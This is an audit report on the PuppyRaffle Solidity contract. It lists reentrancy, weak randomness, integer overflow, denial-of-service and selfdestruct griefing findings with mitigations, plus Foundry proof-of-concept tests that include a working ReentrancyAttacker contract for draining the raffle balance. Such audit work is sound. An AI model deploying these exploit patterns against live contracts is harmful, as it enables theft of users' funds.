PuppyRaffle Audit Report

Version 1.0

toshiiki

May 2, 2024

PuppyRaffle Audit Report

toshiiki

May 2, 2024

Prepared by: toshiiki Lead Auditors: - toshiiki

Table of Contents

    * [M-1] Unbound Loop on Players array duplicate check in `PuppyRaffle::enterRaffle` is a potential Denial of Service attack vector, incrementing gas costs for future entrants
    * [M-2] Unsafe Cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart Contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new raffle
    * [M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Informational
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommmended,
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI (checks, effects, interactions), not following best practice
    * [I-5] Use of "magic" numbers is discouraged, use constants instead
    * [I-6] State changes are missing events
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Storage variables in a loop should be cached
    * [G-3] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy

5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

toshiiki makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by toshiiki is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This project was very interesting as it was the first codebase where I could understand the logic and reasoning leading to each vulnerability. Although there are few lines of code compared to other protocols and projects, there are quite a few vulnerabilities that have been known to be missed by other reviews in this contract and I believe that is a good starting point.

Issues found

Severity	# of issues
High	3
Medium	4
Low	1
Gas	3
Info	6
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (checks, effects, interactions) and as a result enables participants to drain the contract balance. In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue this cycle until the contract balance is drained to 0.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant

Proof of Concept: 1. user enters raffle 2. attacker setsw up a contract with a `fallback` or `receive` function that calls the `PuppyRaffle::refund` function 3. attacker enters raffle 4. attacker calls the `PuppyRaffle::refund` function from the attack contract 5. attacker drains the contract balance to 0

Proof of Code

Code

Place the following code into `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public playersEntered {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
```

```
18          attackerContract.attack{value: entranceFee}();
19
20          console.log("starting attacker contract balance: ",
                startingAttackContractBalance);
21          console.log("starting contract balance: ",
                startingContractBalance);
22
23          console.log("ending attacker contract balance: ", address(
                attackerContract).balance);
24          console.log("ending contract balance: ", address(puppyRaffle).
                balance);
25      }
```

And this contract as well.

```
1       contract ReentrancyAttacker {
2           PuppyRaffle puppyRaffle;
3           uint256 entranceFee;
4           uint256 attackerIndex;
5
6           constructor(PuppyRaffle _puppyRaffle) {
7               puppyRaffle = _puppyRaffle;
8               entranceFee = puppyRaffle.entranceFee();
9           }
10
11          function attack() external payable {
12              address[] memory players = new address[](1);
13              players[0] = address(this);
14              puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16              attackerIndex = puppyRaffle.getActivePlayerIndex(address(
                    this));
17              puppyRaffle.refund(attackerIndex);
18          }
19
20          function _stealMoney() internal {
21              if(address(puppyRaffle).balance >= entranceFee) {
22                  puppyRaffle.refund(attackerIndex);
23              }
24          }
25
26          fallback() external payable {
27              _stealMoney();
28          }
29
30          receive() external payable {
31              _stealMoney();
32          }
33
34      }
```

Recommended Mitigation: To provent this, we should have the `PuppyRaffle::refund` function update the `players` array before making an external call. Additionally, we should move the event emission up earlier as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `Puppyraffle::selectWinner` allow users to influence or predict the winner of each raffle and influence or predict the puppy awarded

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable generated number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves

Note: This also means users could front-run this function and call `refund` if they see they are not the winner

Impact: any user can influence the winner of the raffle, winning the money and selecting the rarest puppy, rendering the entire raffle worthless

Proof of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaces with prevrandao. 2. User can mine/manipulate their `msg.sender value to result in their address being used to generate the winner` 3. Users can revert their `selectWinner` tx if they do not like the resulting winner or puppy

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer Overflow of `PuppyRaffle::totalFees` loses fees

Description: insolidity versions prior to `0.8.0` integers were susceptible to arithmetic overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar += 1
// myVar will become 0
```

Impact: in `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::WithdrawFees`, However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. we conclude a raffle of 4 players 2. we then have 89 players enter a new raffle, and colcluse the raffle 3. `totalFees` will be: `javascript totalFees = totalFees + uint64(fee); //aka totalFees = 800000000000000000 + 17800000000000000000 // and this will overflow! totalFees = 153255926290448384` 4. you will not be able to withdraw due to the line in `PuppyRaffle: WithdrawFees`: `javascript require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");`

```
Although you could use `selfdestruct` to send ETH to this contract in
    order for the values to match and withdraw the fees, this is clearly
     not the intended design of the protocol. At some point there will
    be too much `balance` in the contract that the above `require`
    statement will be impossible to reach.
```

Code

Place the following code into `PuppyRaffleTest.t.sol`:

```
    function test_totalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 players to collect fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        // startingTotalFees = 800000000000000000
        uint256 initialTotalFees = puppyRaffle.totalFees();
        console.log("initial total fees: ", initialTotalFees);

        // Now we make a new raffle with 89 players
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
```

```
16          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
17          // now we finish the raffle
18          vm.warp(block.timestamp + duration + 1);
19          vm.roll(block.number + 1);
20          // we will now have fewer fees even though we just finished a
                second raffle
21          puppyRaffle.selectWinner();
22
23          uint256 finalTotalFees = puppyRaffle.totalFees();
24          console.log("Ending total fees: ", finalTotalFees);
25          assert(finalTotalFees < initialTotalFees);
26      }
```

Recommended Mitigation: There are a few possible mitigations. 1. use a newer version of solidity, and a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected. 3. Remove the balance check from `PuppyRaffle::WithdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Unbound Loop on Players array duplicate check in `PuppyRaffle::enterRaffle` is a potential Denial of Service attack vector, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means that the gas costs for players who enter the raffle immediately after it begins will be drastically lower than those who enter later on. Every additional address in the `players` array is an additional check the loop will have to make.

```
1 //@audit DoS attack
2 @>        for (uint256 i = 0; i < players.length - 1; i++) {
3                   for (uint256 j = i + 1; j < players.length; j++) {
4                       require(players[i] != players[j], "PuppyRaffle:
                            Duplicate player");
5                   }
6               }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle discouraging

later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue. An attacker might make the `PuppyRaffle::entrants` array so big that no one else enters, guaranteeing themselves to win the draw.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: 1st 100 players: ~6252048 gas 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_DenialOfService() public {

        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // find out the gas cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of first 100 players: ", gasUsedFirst);

        // second 100 players
        address[] memory playersTwo = new address[](playersNum);
        for(uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        // find out the gas cost
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndTwo = gasleft();
        uint256 gasUsedTwo = (gasStartTwo - gasEndTwo) * tx.gasprice;
        console.log("Gas cost of second 100 players: ", gasUsedTwo);

        assert(gasUsedFirst < gasUsedTwo);
    }
```

Recommended Mitigation: There are a few recommendations. 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a dupe check doesn't prevent the same person form entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. thhis would allow constant time lookup of whether a user has already entered the raffle.

[M-2] Unsafe Cast of `PuppyRaffle::fee` loses fees

Description In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new raffle

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the wwinner is a smart contract wallet that rejects payment, the lotter would not be able to restart.

Users could easily call the `selectWinner` function again and non-walllet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` funciton could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. the lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (recommended) (pull over push)

[M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the NatSpec, it will also return 0 if the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 will incorrectly believe they have not been entered into the raffle due to a return value of 0, and will attempt to reenter again, wasting gas.

Proof of Concept: 1. user enters raffle as the first entrant 2. `Puppyraffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered the raffle correctly due to the function documentation

Recommended Mitigation: The easiest recommended mitigation is to revert if the player is not in the arrray as opposed to returning 0. You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommmended,

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. Please see slither documentation for more information

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 66

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 190

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI (checks, effects, interactions), not following best practice

It is best to keep code clean and follow CEI.

```
1  -        (bool success,) = winner.call{value: prizePool}("");
2  -        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3           _safeMint(winner, tokenId);
4  +        (bool success,) = winner.call{value: prizePool}("");
5  +        require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```

[I-5] Use of "magic" numbers is discouraged, use constants instead

It can be confusin gto see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant PPOL_PRECISION = 100;
```

[I-6] State changes are missing events

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` shouyld be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Every time you call `players.length` you read from storage as opposed to memory which is more gas efficient.

```
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = o; j < playersLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playersLength; j++) {

            require(players[i] != players[j], "PuppyRaffle: Duplicate
               player");
        }
    }
```

[G-3] `PuppyRaffle::_isActivePlayer` is never used and should be removed

The `_isActivePlayer` function is never called by anything else in the contract, meaning that there is a waste of gas storing that function that will never be used on the blockchain.